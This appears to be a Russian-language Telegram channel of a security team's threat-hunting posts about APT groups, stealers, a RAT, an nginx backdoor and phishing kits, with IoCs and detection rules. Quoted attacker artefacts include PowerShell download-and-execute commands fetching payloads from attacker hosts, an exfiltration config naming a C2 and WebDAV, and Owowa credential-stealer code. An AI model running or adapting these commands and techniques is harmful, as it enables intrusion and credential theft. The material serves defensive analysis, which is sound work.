ESCalator
3.98K subscribers
227 photos
1 video
1 file
95 links
Tips and tricks от команды экспертного центра безопасности Positive Technologies (PT ESC)
加入频道
Эксфильтрация в промышленных масштабах 😐

APT-группировка Cloud Atlas атакует российские компании с 2019 года, занимается шпионажем и кражей конфиденциальной информации.

Расследуя очередной инцидент, связанный с деятельностью APT-группировки, команда PT ESC обнаружила Python-скрипт (VirusTotal 0/66) для массовой централизованной (по протоколу SMB) эксфильтрации данных из инфраструктуры жертвы.

Скрипт с именем v.3 запускался через механизм задач Windows:


C:\ProgramData\WindowsDefender\Update\SecuritySystrayw.exe C:\ProgramData\WindowsDefender\Update\v.3 -ip C:\ProgramData\WindowsDefender\Update\sys -c C:\ProgramData\WindowsDefender\Update\loc -A


Для корректной работы атакующие использовали в системе интерпретатор Python (SecuritySystrayw.exe) и архиватор 7-Zip. Конфигурационный файл loc закодирован с помощью алгоритма XOR с ключом 27. Файл sys содержал список IP-адресов, к которым подключались злоумышленники по протоколу SMB для поиска и сбора файлов по определенным параметрам.

Пример расшифрованной конфигурации:


{'USERCAT': True, 'USERCAT_DOWNLOAD': True, 'DEEP_SHARECAT': True, 'SHARECAT_DOWNLOAD': True, 'NEED_SAVE_CATS': False, 'remote_port': '445', 'username': [REDACTED], 'password': [REDACTED], 'my_name': [REDACTED], 'domain': [REDACTED], 'max_size_file': '2100000', 'min_size_file': '10', 'size_archive': '9242660', 'deep': '6', 'format_file': ['doc', 'docx', 'pdf', 'xls', 'rtf', 'xlsx', 'txt', 'zip', 'rar'], 'days': '1', 'host': 'https://update-version.net/pousowdie/alectoromancy/xenoblast/nadirwere/kamalbaka/shellprog/reverbed/saledroid.dotm/2', 'key': [REDACTED], 'wd': [{'wd_host': 'https://webdav.opendrive.com/', 'wd_login': [REDACTED], 'wd_password': [REDACTED], 'wd_work': True}], 'no_need_list': ['.', '..', 'desktop.ini', 'ADMIN$', 'IPC$', 'Default', 'All Users', 'Default User', 'Public', 'Microsoft', 'Windows', 'AppData', 'Application Data', 'Local Settings', 'Все пользователи'], 'need_folders': ['Downloads', 'Desktop', 'Documents']}


Конфигурация содержит параметры файлов, которые были интересны злоумышленникам, — списки расширений, директорий, размеров файлов. Перед отправкой собранные данные предварительно помещаются в архив с паролем.


command = f'{os.path.join(pfile, "7z.exe")} a "{os.path.join(pfile, "archiv_results", name)}" "{pfile}\\.\\temp\\*" -p{key} -mhe -sdel'


Эксфильтрация данных осуществлялась по протоколу WebDAV на сервис OpenDrive или методом POST на управляющий сервер. Помимо этого, нам удалось выявить, что атакующие начали использовать сервис MEGA.

IoCs:


164.25.54.22
update-version.net
webdav.opendrive.com
api.mega.co.nz


Happy hunting! 🎯

#dfir #hunt #detect #win #ioc #apt
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Путешествие_Извилистых_Троп_манёвры_ExCobalt_в_атаках_на_российские.pdf
11.5 MB
Кстати, про Offzone 🙂

Обещали опубликовать в канале последнюю версию презентации с доклада про маневры ExCobalt — публикуем 🤝

В ней — про фишинг, эксплуатацию CVE-2023-38831 и CVE-2023-3519, а также другие векторы атак и инструменты группировки, обнаруженные специалистами PT ESC, о которых в докладе рассказали Владислав Лунин и Александр Бадаев.

Приятного изучения и happy hunting!

#ti #ir #hunt #detect #cve #malware #exCobalt #APT
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Проксирование WebSocket nginx — обнаружение полезной нагрузки 👀

Проверка конфигураций различных служб иногда помогает найти неизвестное вредоносное ПО, которое не распознается антивирусами и другими защитными средствами.

❗️ Например, в одном случае мы нашли следы присутствия злоумышленников в системе, изучив конфигурацию веб-сервера nginx.

В конфигурационном файле /etc/nginx/webserver/server.conf.d/payload.conf целевого сервера нас насторожили определенные строки.


location /ws/b3a4d3a2 {
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $remote_addr;
access_log off;
log_not_found off;
proxy_pass http://unix:/var/run/shm/evil.sock;
}


В этих строках используется механизм переподключения протоколов. Начиная с версии 1.3.13 в nginx реализован режим работы, позволяющий организовать туннель между клиентом и проксируемым сервером, — WebSocket proxying.

Проксирование WebSocket активируется при получении в запросе от клиента заголовка Upgrade.

Особенностью работы этого режима является наличие следующих строк в конфигурационном файле:


proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_pass http://unix:/var/run/shm/evil.sock;


Строки proxy_set_header служат для явной передачи веб-сервером nginx заголовка Upgrade проксируемому серверу. Их наличие в файле конфигурации обусловлено тем, что этот заголовок относится к категории заголовков hop-by-hop, которые не пересылаются прокси-серверами.

Строка proxy_pass содержит путь к файлу сокета в целевой системе — /var/run/shm/evil.sock.

Для получения информации о процессе, использующем указанный сокет, мы воспользовались командой lsof:


lsof | grep /var/run/shm/evil.sock


И нашли процесс c PID 18653:


payload 18653 root 4u unix 0xffff74146a3b3743 0t0 25637138 /var/run/shm/evil.sock


Далее мы нашли исполняемый файл процесса:


lsof -p 18653 | grep cwd


Файл лежал в /usr/bin/, и он оказался бэкдором.

💡 Что мы теперь можем:

ловить WebSocket в трафике;
смотреть активности в системах рядом со временем деплоя бэкдора (дата создания бэкдора или модификации конфига nginx);
проверять другие веб-серверы в инфраструктуре на предмет «расширения функциональности» ваших сервисов.

#tip #detect #hunt #dfir
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Атаки группы Team46 😎

Вчера, 4 сентября, исследователи из компании «Доктор Веб» выпустили интересный отчет о несостоявшейся атаке на российского оператора грузовых ж.-д. перевозок.

Нам хотелось бы добавить в этот отчет наши находки и дополнительную информацию о других атаках.

1️⃣ Первая атака

В исходном письме присутствовали два вектора — вредоносное вложение и ссылка на вредоносный архив rabotnik.today/resume/7952235986937661.rar. Отличительной особенностью этой атаки является то, что все используемые домены имеют заглушки, создающие вид его легитимности.

Так домен infosecteam.info принадлежал якобы российской компании InfoSecTeam (см. скриншот 1). Это может создавать видимость того, что файл является не реальной атакой, а пентестом. Страницы сайта явно переведены с помощью машинного перевода.

Шаблон сайта взят из магазина шаблонов (см. скриншот 2). Интересно, что при попытке поиска названия компании в Google первые две строки занимал сайт злоумышленников, а реальная компания из Великобритании — лишь четвертую (см. скриншот 3). На скриншоте также можно увидеть домен cyber46.team с точно таким же содержимым. По этому домену мы и назвали группировку Team46.

Сама атака носила явно массовый характер: мы обнаружили почти 4000 одинаковых ярлыков (с разными идентификаторами жертв) в архивах в открытых папках на infosecteam.info, загруженных туда в течение трех минут (см. скриншот 4).

2️⃣ Вторая атака

В апреле TI-эксперты отдела PT ESC также обнаружили аналогичные вредоносные ярлыки с именами SCAN_4024_2024_04_02.pdf.lnk и SCAN_4251_2024_03_25.pdf.lnk, загружавшие по ссылке srv480138.hstgr.cloud/uploads/scan_3824.pdf другой документ-приманку (см. скриншот 5).

В этой атаке содержимое домена srv480138.hstgr.cloud являлось полной копией сайта elevation.storeбьюти-магазина в ОАЭ. Заглушка совершенно не соотносилась с документом-приманкой, но это может говорить о том, что этот сервер злоумышленники могли также использовать для атак в ОАЭ, но подтверждений не нашлось.

🧐 Если взглянуть на команды ярлыков из двух атак, с помощью которых грузятся следующие стейджи, то можно увидеть определенное сходство:


powershell
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -w Minimized -ep Bypass -nop -c "iwr 'http://infosecteam.info/Job%20application.pdf' -OutFile $env:LOCALAPPDATA\Temp\102fa066-cc9d-4a80-b3aa-12d5df196b42.pdf -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.';$env:LOCALAPPDATA\Temp\102fa066-cc9d-4a80-b3aa-12d5df196b42.pdf; iwr 'http://infosecteam.info/base.php' -OutFile $env:LOCALAPPDATA\Yandex\YandexBrowser\Application\Wldp.dll -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.';"



powershell
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -w Minimized -ep Bypass -nop -c "iwr 'https://srv480138.hstgr.cloud/uploads/scan_3824.pdf' -OutFile $env:LOCALAPPDATA\Temp\399ha122-tt9d-6f14-s9li-lqw7di42c792.pdf -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.';$env:LOCALAPPDATA\Temp\399ha122-tt9d-6f14-s9li-lqw7di42c792.pdf;iwr 'https://srv480138.hstgr.cloud/report.php?query=$env:COMPUTERNAME' -OutFile $env:LOCALAPPDATA\Temp\AdobeUpdater.exe -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.1 YaBrowser/23.11.0.0 Safari/537.36';$env:LOCALAPPDATA\Temp\AdobeUpdater.exe;"


Список сетевых IoC:


rabotnik.today
infosecteam.info
cybers46.team
cybers4646.my.id
srv480138.hstgr.cloud


#TI #hunt #ioc #apt
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
TLS в сети: как быть 🤷‍♂️

Ты — мощный движок разбора сетевого трафика.

Ты работаешь на благо системы защиты информации, перемалывая терабайты проходящих через тебя данных.

В твоих недрах крутятся десятки тысяч нефолзящих экспертных правил, тебе не страшны любые протоколы L7 — HTTP, SMTP, FTP, DNS.

Но внезапно в тебя подают какую-то невнятную мешанину из байтиков сетевого соединения по 443-му порту, которая начинается с магических |1603| 🧙

«О нет!». Это же TLS, декрипт которого никто не удосужился сделать, и его инкапсулированное содержимое теперь скрыто от тебя. Но ведь внутри может быть что-то плохое, что-то вредоносное. Как же быть?

Не расстраивайся! TLS-трафик в целом поддается анализу, хоть и не контентному. Можно выделить два основных метода:

1. Анализ информации из заголовков и сертификатов.
2. Анализ характеристик TCP-сессий.

Анализ информации из заголовков и сертификатов (актуально для версии TLS ниже 1.3)

Основные параметры заголовков, которые можно проанализировать:

Версия протокола. Например, SSL 3.0 или TLS 1.0.

Наборы шифров (cipher suites) — указывают на алгоритмы, которые будут использоваться для шифрования данных и создания MAC (Message Authentication Code).

Алгоритмы сжатия.

Порядок и типы поддерживаемых расширений. Например, расширение ALPN (Application-Layer Protocol Negotiation) используется для согласования протокола прикладного уровня (например, HTTP/2 или HTTP/3).

Аспекты анализа сертификатов:

Цепочка сертификации: кто выдал сертификат (центр сертификации, CA), является ли цепочка валидной и корректно ли настроена.

Срок действия сертификата: просроченные или неправильно настроенные сертификаты свидетельствуют о небезопасной конфигурации сервера или атаке, например о MITM (man in the middle).

Подозрительные имена серверов (Common Name): они могут сигнализировать о поддельных или скомпрометированных сертификатах. Например, С2-сервер VenomRAT по умолчанию предоставляет интересную информацию о себе (скриншот 1).

🫵 Дополнительно можно анализировать цифровые отпечатки — уникальные идентификаторы клиентов, устанавливающих TLS-соединения, или серверов, принимающих такие соединения.

В основе работы JA3 и JA3s лежат сбор характеристик во время TLS-рукопожатия и генерация отпечатка. JA3 — это хеш-функция, которая вычисляется с помощью алгоритма MD5 на основе параметров, передаваемых клиентом при установке TLS-соединения. В результате формируется уникальный идентификатор клиента — JA3-отпечаток (WARNING — может фолзить!).

Например, JA3 a85be79f7b569f1df5e6087b69deb493 однозначно указывает на соединение ВПО Remcos с С2-сервером (скриншот 2).

Детектирование на основании JA3 и JA3s поддерживают практически все сетевые СЗИ, в том числе и продукты Positive Technologies — PT NAD и PT Sandbox. Анализ TLS 1.3 — более сложная задача, но об этом в другой раз.

Анализ характеристик TCP-сессий

Анализатор может смотреть на характеристики TCP-сессий, инкапсулирующих зашифрованный трафик: на размер пакетов, их частоту и временные интервалы между ними. Даже не видя содержимого пакетов, DPI-система способна сделать выводы о типе трафика или возможной аномалии.

В качестве примера можно привести бэкдор, который все делал правильно: «притащил» библиотеку для работы с SSL, пытаясь скрыть свои очень важные данные. Однако в сети он вел себя весьма интересно: клиент (то есть бэкдор) всегда отправлял на С2-сервер полезную нагрузку TCP размером 163 байта, а сервер отвечал ему полезной нагрузкой размером 166 байт (скриншот 3). Это или какой-то Heartbeat, или волшебный padding.

Понаблюдав за бэкдором некоторое время, убедившись, что это поведение не просто аномалия, а повторяющийся шаблон, мы с чистой совестью покрыли его детектом.

Вывод: увидел TLS — не расстраивайся.
Happy hunting! 🎯

#detect #malware #network #hunt #tips
@ptescalator
Как пройти в интернет 🚶‍♂️

Что делают хакеры, когда интересующий их сегмент сети не имеет доступа в интернет, а подключиться к C2 очень хочется? Правильно: ищут хосты, которые смотрят в разные подсети, и пытаются пробросить каналы управления через них. Если атакуемая инфраструктура сильно сегментирована, такой канал может проходить через много узлов и принимать причудливые формы.

В одном из недавних кейсов хакеры использовали два метода для проброса канала, условно назовем их «простой» и «сложный».

🤯 Начнем со «сложного»

Злоумышленники обнаружили хост, через который был возможен доступ из одной подсети в другую. Но был нюанс: попасть на этот хост можно было только через RDP (remote desktop — удаленный рабочий стол).

Хакеры нашли решение. На прослушивание порта 3389 они повесили своеобразный сплиттер трафика: настоящий трафик RDP перенаправлялся на порт 33389, а весь остальной трафик на порт 3389 проксировался дальше внутрь соседней подсети. Принадлежность пакета к RDP определялась по первым трем байтам — они должны быть равны 03 00 00.

Настоящую службу RDP хакеры перевесили со стандартного порта 3389 на порт 33389. Таким образом, злоумышленники получили возможность передавать трафик между сегментами, при этом подключающиеся по RDP пользователи не видели никакой разницы.

Присутствие такой утилиты на хосте выдают (помимо, собственно, наличия исполняемого файла на файловой системе) следующие признаки:

1️⃣ Изменение порта RDP на нестандартный (проверить порт можно в свойствах системы или с помощью команды Get-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -name "PortNumber").

2️⃣ Какой-то «левый» процесс слушает порт 3389.

3️⃣ Подключения пользователей по RDP в такой схеме отображаются как исходящие от localhost. На практике мы видели только IP-адрес 127.0.0.1, но не стоит забывать о том, что вообще-то таких адресов целая подсеть, а еще есть варианты вроде ::1 или даже ::%16777216.

Но имейте в виду, что поменять порт RDP мог админ, а подключения с локалхоста могут говорить и о других вещах, например о наличии туннелей 🙂

💆‍♂️ В чем тогда заключался «простой» способ?

В этом варианте злоумышленники для проксирования трафика использовали функциональность Windows под названием Port Proxy.

В самом простом варианте этот инструмент позволяет создать простой маппинг «откуда пришел пакет — куда его отправить». Проще всего показать это на примере:


netsh interface portproxy add v4tov4 listenport=7000 connectaddress=example.com connectport=443 protocol=tcp


После выполнения этой команды хост начинает слушать порт 7000, а входящие TCP-соединения перенаправляет на example.com:443. Более подробно про эти функции можно почитать в документации Microsoft.

Этот метод хорош тем, что не нужно использовать стороннее ПО. Основное ограничение метода заключается в том, что маппинг статичен, то есть позволяет организовать только жестко заданное перенаправление пакетов.

🕵️‍♀️ Как обнаружить использование такого способа

1️⃣ Детектировать запуск команды netsh interface portproxy add (например, в событиях Sysmon 1 или Security 4688).

Детект в MaxPatrol SIEM: Execute_Malicious_Command

2️⃣ По наличию в реестре ключей в ветке [HKLM\SYSTEM\CurrentControlSet\Services\PortProxy\].

Детект в MaxPatrol SIEM: Port_Forwarding_or_Tunneling

3️⃣ По появлению подозрительных слушающих портов или сетевых подключений у службы IpHelper (процесс C:\Windows\System32\svchost.exe -k NetSvcs -p -s iphlpsvc).

👉 Кстати, в том кейсе злоумышленники умудрились с помощью portproxy построить цепочку длиной в четыре хопа, причем на каждом этапе в проксируемый порт также перенаправлялся трафик от «закладок» на хостах внутри сегмента. Получилось целое «дерево», «корни» которого уходили на сервер C2 в интернете.

Happy hunting!

#Hunt #C2 #Detect #DFIR #SIEM
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Slam screen locker. Что ты такое? ☹️

На очереди — fast malware analysis, проведенный одним воскресным вечером.

В наши сети залетел один интересный семпл, порождающий не менее интересный сетевой трафик (скриншот 1).

В этом файле (исполняемом .NET) содержится необфусцированный неймспейс Slam_Ransomware_Builder_2._0 (скриншот 2). Его название череcчур сильно похоже на известный в узких кругах Slam Ransomware, только версией побольше. Пример работы билдера 1.4 — по ссылке.

🏃‍♂️ Беглый анализ показал, что класс Slam_Ransomware_Builder_2._0.Lock отвечает за блокировку экрана, класс Slam_Ransomware_Builder_2._0.Chat реализует логику чата с жертвой локера.

Наибольший интерес вызывает класс ClientTest.ChatClient, содержащий реализацию сетевого протокола. По нему можно определить полный набор функций исследуемого ВПО.

• удаленное управление (например, LCD*<coord_x>*<coord_y> — эмуляция нажатия левой кнопки мыши, Command#<command> — выполнение команды в cmd, SetStartup*<prog_name> — добавление программы в автозапуск);

• отправка и получение файлов (например, ViewFiles*<dir_path>, клиент отсылает в ответ *FileTree*<files>*FileTree*, скриншот 3);

• снятие скриншотов (например, StartScreenShare*, StopScreenShare*, клиент отсылает в ответ SCREENSHOT*screen.jpg*<file_size>*<user_name>*<form_id>);

• кейлоггер (например, StartRealtimekeylogger*, StopRealtimekeylogger*, клиент отсылает в ответ SendrtKeylogger*<key_code>*).

И еще много всего — масштаб RAT поражает, любой клиент видео-конференц-связи позавидует.

😃 Самые неприятные и интересные пакости

Команда: LOCK*, LOCKUN*.
Действие: активировать или деактивировать локер рабочего стола.

Команда: textts*<text_to_speek>.
Действие: text to speech.

Команда: msgboxshow*<title>*<msg>*{Error,Information,Hand...}*<buttons>.
Действие: показать уведомление.

Команда: Wallpaper*<path_to_img>.
Действие: изменить изображение рабочего стола.

Команда: BSOD#.
Действие: вызвать синий экран смерти.

А на самом первом скриншоте представлен PING-PONG, который без труда покрывается правилами с флоубитами:


alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg: "Slam V2.0 FB set ping"; flow: established, to_client; dsize: 8<>17; content: "?PING"; endswith; flowbits: set, slam_ping; flowbits: noalert; sid: 1; rev: 1; classtype: trojan-activity;)

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg: "Slam V2.0 ping-pong"; flow: established, to_server; dsize: 8<>17; content: "PONG#"; startswith; content: "#"; endswith; flowbits: isset, slam_ping; threshold: type limit, track by_dst, count 2, seconds 240; sid: 2; rev: 1; classtype: trojan-activity;)


IOCs


SHA-256: e42088a37531929e3e775bdfacc5a3ee974e4f59d5290907c2131f434eef345b
C2: 77.231.153.42


Happy hunting!

#Hunt #C2 #Tips #IOC #detect #malware #network #suricata

@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
⚠️ OWOWAсный модуль, или IIS кOWOWAрен

Про вредоносный IIS-модуль Owowa, предназначенный для перехвата учетных записей пользователей, исследователи рассказывали еще в 2021 году.

А в 2022 году мы рассказывали про его эволюцию на OFFZONE. Как показывает практика, используя этот IIS-модуль, атакующие за достаточно короткий временной промежуток могут скомпрометировать большое количество учетных записей и получить пароли пользователей в открытом виде.

Модуль устанавливается в системе командой appcmd.exe install module. Во всех проанализированных нами образцах базовый класс, который реализует интерфейс IHttpModule, называется ExtenderControlDesigner. После запуска модуль методом PreSendRequestContent перехватывает входящие запросы.


public class ExtenderControlDesigner : IHttpModule
{
public void Init(HttpApplication context)
{
context.PreSendRequestContent += this.PreSend_RequestContent;
}
private void PreSend_RequestContent(object sender, EventArgs e)
{...


Злоумышленники продолжают использовать этот достаточно простой IIS-модуль в своих самых громких атаках на российские компании и в 2024 году. Так, расследуя один из инцидентов ИБ, команда PT ESC обнаружила модификацию стилера Owowa. В обновленной версии атакующие отказались от записи скомпрометированных учетных данных в журнал в файловой системе. Вместо этого они хранятся в HashSet в оперативной памяти.

Пример учетных данных, которые записываются в HashSet:


ExtenderControlDesigner.Data item = new ExtenderControlDesigner.Data
{
Id = text,
UserName = userName,
Password = pass,
UserHostAddress = userHostAddress,
XForwardedFor = xForwardedFor,
DateTimeUtc = dateTimeUtc
};
bool flag2 = !ExtenderControlDesigner.hashSetData.Contains(item);
if (flag2)
{
ExtenderControlDesigner.hashSetData.Add(item);
}


Данные, как и раньше, защищены алгоритмом RSA-2048, а публичный ключ захардкожен в модуле. Для получения информации о количестве уникальных записей можно произвести поиск сигнатуры 42 5A 68 00, она является разделителем учетных записей.


memoryStream.Write(new byte[]
{
66,
90,
104,
0
}, 0, 4);


Так как публичный ключ модуля, использовавшегося в атаках на компании в России, всегда идентичен и не менялся с 2022 года, мы можем предположить, что за всеми атаками с его применением стоит одна группа злоумышленников.

Зашифрованный список учетных записей злоумышленники получают отправив корректный GET-запрос с заголовком username: ZaDS0tojX0VDh82.

Пример GET-запроса в журналах IIS-сервера:


2024-07-29 14:32:21 127.0.0.1 GET /owa/ 443 ZaDS0tojX0VDh82 127.0.0.2 Mozilla/5.0+(X11;+Linux+x86_64;+rv:109.0)+Gecko/20100101+Firefox/115.0 - 401 1 1527 14


Помимо перехвата полей username, password в новой версии были добавлены перехваты LOGON_USER, AUTH_PASSWORD.

В последней версии злоумышленники отказались от функции RunCommand, которая выполняла команды на скомпрометированном узле через powershell.exe.

IoCs:


Name MD5
ClassLibrary2.dll af6507e03e032294822e4157134c9909
ClassLibrary3.dll 2d240b6ceeaacd2e3dd52c9e7d3fb622
ClassLibrary3.dll 5cc433a2550bb7389f6c90521e7afa25
ExtenderControlDesigner.dll 967e7b6b048d628f36bbb4ca7b0f483f
ClassLibrary3.dll e657eea3b9b7317e28ab4a89c1fa2177
ClassLibrary3.dll 6e6218aac341463496cca32f52b29013
ClassLibrary3.dll 4d66a3bbaf65a2ec36fd2d143c872ef6


YARA:


rule Owowa {
strings:
$s1 = "IHttpModule"
$s2 = "PreSend_RequestContent"
$s3 = "ExtenderControlDesigner"
$u1 = "283c00ecp774ag36boljbpp6" wide
$u2 = "dEUM3jZXaDiob8BrqSy2PQO1" wide
$u3 = "Fb8v91c6tHiKsWzrulCeqO" wide
$u4 = "jFuLIXpzRdateYHoVwMlfc" wide
$u5 = "oACgTsBMliysfk" wide
$u6 = "uW4sSY1CAkN6kI6r6ByXUWnK" wide
$u7 = "ZaDS0tojX0VDh82" wide
$u8 = "zwa879pOX1NAmTom8m3aQvoZ" wide
condition:
uint16be ( 0 ) == 0x4d5a and ( 2 of ( $s* ) ) and ( 2 of ( $u* ) ) and filesize < 20KB
}


Happy hunting!

#hunt #IOC #yara #dfir #detect #win
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
😲 Да кто такие эти ваши PhaseShifters?

В начале июня 2024 года специалисты департамента Threat Intelligence выявили новую цепочку атаки PhaseShifters.

✍️ PhaseShifters (Sticky Werewolf, UAC-0050 ) — хакерская группировка, занимающаяся шпионажем, атаки которой направлены на различные отрасли стран Восточной Европы, в том числе на государственные учреждения, сферу экономики и промышленности.

В своих атаках группировка использует фишинг: злоумышленники отправляют письма якобы от официальных лиц с просьбой ознакомиться с документом и подписать его. Документ находится во вложении внутри защищенного паролем архива. В качестве ВПО злоумышленники используют Rhadamanthys, DarkTrack RAT, Meta Stealer и другие.

🔍 Мы наблюдаем высокую активность группировки с весны 2023 года и уже тогда заметили одну странную деталь. Дело в том, что атаки группировки PhaseShifters по техникам идентичны атакам другой группировки — UAC-0050. Более того, атаки проходят с небольшим временным промежутком, то есть группировки одинаково атакуют с разницей в несколько недель — месяц.

На данный момент мы склоняемся к тому, что UAC-0050 и PhaseShifters — это одна и та же группировка, но убедиться в этом можно будет только после более длительного наблюдения.

⚠️ И это случилось снова....

Летом этого года обе группировки начали использовать идентичные паттерны в своих атаках. Дошло даже до того, что ВПО группировок располагалось в одном и том же репозитории BitBucket. Это заставило нас углубиться в эту тему.

📰 Какая атака обнаружена, какие сходства мы увидели, кого атаковали, а также при чем здесь TA558 и бразильские обфускаторы и криптеры — все это вы можете узнать в нашей статье.

#TI #Hunt #Malware #APT
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Стилерная инфекция: новый USB-штамм 👾

Сегодня расскажем про обнаруженную нами необычную модификацию стилера WorldWind. Это самый что ни на есть настоящий вирус, передающийся через тесный контакт зараженного устройства с USB-носителем и вызывающий не только утечку конфиденциальной информации, но и потерю бесценной коллекции ПО на внешних дисках.

Находка, как и ее предшественники, все также продолжает использовать сервисы icanhazip, mylnikov.org + Google Карты для определения внешнего IP-адреса и геолокации (скриншот 1). Реализация модуля сбора информации тоже не изменилась, за исключением пары структур.

🐔 Мутации же затронули сетевую часть и набор функций стилера. Теперь он не передает информацию через Telegram. Вместо этого сообщения улетают на С2-сервер злоумышленников в следующем порядке: checkin → exfiltration → close. Форматы этих сообщений представлены на скриншоте 2.

Из стилера также пропали функции для кражи VPN-конфигов и паролей от игровых лончеров и Wi-Fi. Но взамен развилась способность агрессивно распространяться через USB-носители. Если на внешнем диске есть экзешники, то стилер удалит их и запишет себя под их именами (скриншот 3).

Не находите, что повеяло старыми добрыми временами дикого вирусописательства? 😏

Чтобы уменьшить риск заражения, ставьте сигнатурные прививки и проходите антивирусные осмотры.

Заодно давайте покроем стилер правилом, детектирующим checkin:


alert tcp any any -> any any (msg: "STEALER [PTsecurity] WorldWind checkin"; flow: established, to_server; stream_size: client, <, 80; stream_size: server, =, 1; content: "|46 00 00 00|"; startswith; fast_pattern; content: "{|22|id|22 3a| 0"; within: 8; content: "|22|hwid|22 3a|"; within: 10; content: !"|20|"; distance: 2; within: 32; content: "|22|country|22 3a|"; distance: 32; content: !","; distance: 0; classtype: trojan-activity; metadata: malware_family WorldWind; sid: 1; rev: 1;)


IOCs:


84d52de2b69e14f26259da07297e02eb2c4ac32045a690f65a267fe931da0433
20.208.136.72:12346


Будьте здоровы и happy hunting!

#hunt #C2 #detect #ioc #malware #network #suricata
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
📲 Облачные сервисы от оператора «МеХаФон»

Новости с полей: команда PT ESC наблюдает новую кампанию группировки Cloud Atlas, нацеленную на государственные организации из России и стран СНГ. Про эту группировку мы рассказывали в нашем исследовании APT Cloud Atlas: Unbroken Threat и в посте.

📝 В качестве исходного вектора в своих атаках злоумышленники традиционно используют фишинговые письма с вредоносным вложением «О представлении информации.doc» (VirusTotal 0/62). Рассылка осуществляется с адресов @internet.ru. Такой домен почтового адреса можно получить при регистрации на сервисе mail.ru.

Примечательно, что атакующие не изменяют себе и с 2014 года используют облачные сервисы. При этом они продолжают экспериментировать, и раз за разом в их арсенал добавляются новые популярные платформы. Поэтому в первую очередь мы настоятельно рекомендуем проверить все сессии по протоколу «Яндекс Диск WebDAV» (webdav.yandex.ru) и запросы через Google Sheets API (oauth2.googleapis.com, sheets.googleapis.com).

IoCs:


mehafon.com
technoguides.org

9943fee873c0642216d1578fc4373648b670b5bc47a8bf37366063041518f8b2


Happy hunting and stay tuned!

#hunt #detect #ioc #apt #news
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Как давно ты реверсил JavaScript? 😲

Продолжая тему фишинга (ранее мы смотрели на таргетированные подозрительные документы, приводящие к получению первоначального доступа или сбору NTLM-хешей), хотим показать примеры свежих атак, направленных на массового пользователя, привыкшего пользоваться продуктами известной компании Microsoft.

Посмотрим, как злоумышленники генерируют поддельные HTML-страницы, мимикрирующие под формы ввода аутентификационных данных, с точки зрения JavaScript-кода и применяемых техник обфускации, и даже найдем интересные пасхалки от фишеров.

1️⃣ Первый пример

Самым примитивным примером из сегодняшней подборки является использование конструкции:

document.write(unescape(atob(


Внутри нее зашит внешний подгружаемый скрипт flyit.com.ar/wp-includes/certificates/js_host/outlk.js, который содержит в себе jQuery библиотеку и дополнительный код, отправляющий на campusmin.sitb.edu.ar/completion/classes/php_host/_xls3.php?_do=xxx_form креды пользователя.

Минутка ликбеза: функция atob позволяет декодировать base64-строку, а document.write записывает содержимое аргумента в DOM активной страницы, подменяя ее текущее содержимое. В данном случае обфускация минимальная — в основном используется только сжатие (минификация).

2️⃣ Второй пример

Это более интересный пример, поскольку он содержит много обфусцированного кода. Передаваемая пользователю HTML-страничка содержит только обфусцированный скрипт, который исполняется уже на стороне браузера.

Бесплатные деобфускаторы не справляются с преобразованием кода, поэтому прибегнем к ручному реверсу JavaScript: используемые выделенные функции, методы atob и document.write формируют веб-страницу, которая впоследствии подгружает скрипт с 7354770595-1323985617.cos.ap-seoul.myqcloud.com/attach%2Fbootstrap.min.js (обфусцирован с помощью бесплатного сервиса obfuscator.io), где как раз и содержится сбор кредов пользователя. Затем логин и пароль отправляются на C2 злоумышленников — miguel.uscourtaccess.com/next.php.

Сможете найти пасхалочки на скрине? 😏

3️⃣ Третий пример

В третьем случае для формирования поддельной страницы, представляющую собой брендированную версию стандартной формы ввода аутентификационных данных, используется фишинговый набор WikiKit. Он получил свое название за перенаправления на Википедию в случае отключенного в браузере JavaScript или недействительной фишинговой ссылки. Этот скрипт блокирует использование отладочных средств (хотя обойти их в целом несложно), а собранные данные отправляются на cotceur.com.

Какие у нас рекомендации? 🧐

Кроме «не открывать файлы из подозрительных писем», что кажется неактуальным для этого канала (нам же наоборот интересно их открыть), приведем ряд простых, но важных поинтов, на которые точно стоит обращать внимание при анализе веб-страниц:

на вкладке Network браузера проверяйте origin подгружаемых дополнительных ресурсов, все-таки jQuery лучше получать с легитимного домена jQuery или известного CDN.

использование функции atob (декодирование base64), еще и с

aHR0cHM6
aHR0cDo


